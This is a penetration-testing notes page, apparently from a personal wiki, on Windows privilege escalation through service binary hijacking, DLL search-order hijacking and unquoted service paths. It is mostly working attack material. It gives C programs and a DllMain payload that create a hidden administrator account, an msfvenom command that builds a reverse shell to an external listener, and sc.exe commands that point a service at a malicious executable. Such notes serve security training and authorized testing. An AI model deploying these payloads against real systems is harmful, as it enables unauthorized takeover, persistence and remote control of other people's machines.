Services

A Windows service is a background process managed by the Service Control Manager. Services can be controlled using services snap-in (services.msc), PowerShell, or sc.exe (command-line tool). They run under specific built-in accounts:

  • LocalSystem: High privileges (includes SYSTEM and Administrator SIDs)

  • Network Service: Limited privileges with network access

  • Local Service: Limited privileges without network access

Services can also run under custom user accounts (local or domain users).

Service Binary Hijacking

For automated Service Binary Hijacking see PowerUp.

Every Windows service has an associated binary that runs when the service starts, and if its permissions are misconfigured, a low-privileged user may be able to replace it with a malicious file. For example, a developer might install a service but fail to properly restrict access, allowing any user to modify the binary. An attacker could exploit this by replacing the binary with their own payload, and then triggering its execution by restarting the service or rebooting the system—causing the malicious code to run with elevated privileges such as LocalSystem.

To list Windows services and their binaries we can use the GUI app services.msc, or the Get-Service and Get-CimInstance cmdlets.

# Filter running services and their executable paths
> Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object { $_.State -eq "Running" }

Name                      State   PathName
----                      -----   --------
Apache2.4                 Running "C:\xampp\apache\bin\httpd.exe" -k runservice
Appinfo                   Running C:\Windows\system32\svchost.exe -k netsvcs -p
AppXSvc                   Running C:\Windows\system32\svchost.exe -k wsappx -p
mysql                     Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql

Network logons (e.g., WinRM, bind shells) may fail when querying services as a non-admin user, while interactive logins (e.g., RDP) work without permission issues.

From the list above, the binaries located in the C:\xampp instead of the C:\Windows\System32 directory (apache2.4 and mysql) stand out because this means that these services are user-installed and are, therefore, susceptible to permission misconfigurations. We can enumerate their permissions using icacls or Get-ACL .

Mask
Permissions

F

Full Access

M

Modify Access

RX

Read & Execute

R

Read-only

W

Write-ony

# Check the binary's permissions
> icacls "C:\xampp\mysql\bin\mysqld.exe"
C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)
                              BUILTIN\Administrators:(F)
                              BUILTIN\Users:(F)

Successfully processed 1 files; Failed processing 0 files

We will create a malicious binary to replace the original mysqld.exe.

addUser.c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

If the user does not have to restart the service but has the SeShutDownPrivilege assigned and the StartMode of the service is set to Auto, we can just reboot the system.

> net stop mysql
System error 5 has occurred.

Access is denied.

To restore the original state of the service, we have to delete our binary mysqld.exe, restore the backed up original binary, and restart the system.

We can also get a reverse shell by replacing the binary with the following.

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.231 LPORT=4444 -f exe > mysqld.exe

DLL Hijacking

If binary service hijacking isn't possible due to permission restrictions, DLL hijacking, a more stealthier method, can be used. DLLs are essential components that provide shared functionality to Windows programs. By replacing a DLL that a service depends on, malicious code can be injected while maintaining the service's functionality.

DLLs are called Shared Objects on Unix.

When a program needs a DLL, Windows follows a predefined search order to locate it. To improve security, Microsoft introduced safe DLL search mode, which prioritizes system directories to prevent unauthorized DLL loading. The standard search order is:

1. The directory from which the application loaded.
2. The System directory.
3. The 16-bit System directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.

However, if a program looks for a missing DLL (due to installation issues or updates), a malicious DLL can be placed with the same name in a directory higher in the search order, a technique known as DLL search order hijacking.

# List available services
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

displayname
-----------

FileZilla 3.63.1
<SNIP>

Filezilla 3.63.1 has a DLL hijacking vulnerability related to the TextShaping.dll file. We first need to check if we have write access to the DLL's location.

# Write a file to the binary's directory
> echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
# List the file's contents
> type 'C:\FileZilla\FileZilla FTP Client\test.txt'
test

The typical process of checking which DLLs are used by an application is via the Process Monitor tool, aka as procmon. Once we have a list of DLLs used by the service binary, we can check their permissions and if they can be replaced with a malicious DLL.

After filtering the results, we can click Clear (red bin icon) and start the process we are interested in. Since we are interested specifically in the TextShaping.dll we can create another filter targeting that.

Based on the above screenshot, the binary tries to load the TextShaping.dll from C:\Filezilla\Filezilla FTP Client\ and it can't find it. It then proceeds to search and find it from C:\Windows\System32\.

Each DLL can have an optional entry point function named DllMain, which is executed when processes or threads attach the DLL. This function generally contains four cases named:

  1. DLL_PROCESS_ATTACH

  2. DLL_THREAD_ATTACH

  3. DLL_THREAD_DETACH

  4. DLL_PROCESS_DETACH

These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a DllMain entry point function, it only provides resources. We are interested in the DLL_PROCESS_ATTACH section of the code, since this is used when a process is loading the DLL.

dll_hijacking.cpp
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

In order for the DLL hijacking to trigger the FileZilla FTP Client needs to be started, however, it is important to keep in mind that the privileges the DLL will run with depend on the privileges used to start the application. If we were to start the FTP client as a low-privileged user, then we would not have the required privileges for our payload to work, i.e., to add a new user to the system and place them in the Administrators group.

Some binaries need to be started as a service in order to function properly:

# Create a new service pointing to the binary
sc.exe create "Filezilla" binpath= "C:\Users\x7331\Desktop\filezilla.exe"
# Restart the service
Restart-Service Filezilla

We can also try changing directly the service's configuration:

# Test if the user can start the process
> Start-Process sc.exe -ArgumentList 'qc IObitUnSvr' -NoNewWindow -Wait
# Point the service to a malicious binary
> Start-Process sc.exe -ArgumentList 'config IObitUnSvr binPath= "C:\Users\dharding\reverse.exe"' -NoNewWindow -Wait
# Restart the service
> Restart-Service IObitUnSvr

Unquoted Service Paths

For automated enumeration and exploitation of this vector, see here.

  1. Each Windows service maps to an executable file.

  2. When a service starts, a process is created via the CreateProcess function.

  3. The first parameter of this function, IpApplicationName, specifies the name and, optionally, the executable path. If the latter is an unquoted string that contains spaces, it can be used as a privilege escalation vector due to how Windows interprets the path.

For example, C:\Program Files\My Program\My Service\service.exe will be interpreted as:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

We can exploit this by creating a malicious executable in any of the paths before the original one. This will result in the former executing with the same privileges that the service starts with, typically, LocalSystem.

Enumerate the service:

> Get-CimInstance -ClassName win32_service | Select Name,State,PathName 

Name          State   PathName
----          -----   --------
...
GammaService  Stopped C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
...

# A more efficient cmd alternative
# /i -> case insensitive
# /v -> don't match (outside the Windows dir for permission issues and without quotes)
C:\Users\steve> wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

Check service's details, such as the Run As User: field:

# Check service's details (Run As User:)
> schtasks /query /TN "Uninstaller_SkipUac_dharding" /V /FO LIST
Current.c
#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");

  return 0;
}

Last updated

Was this helpful?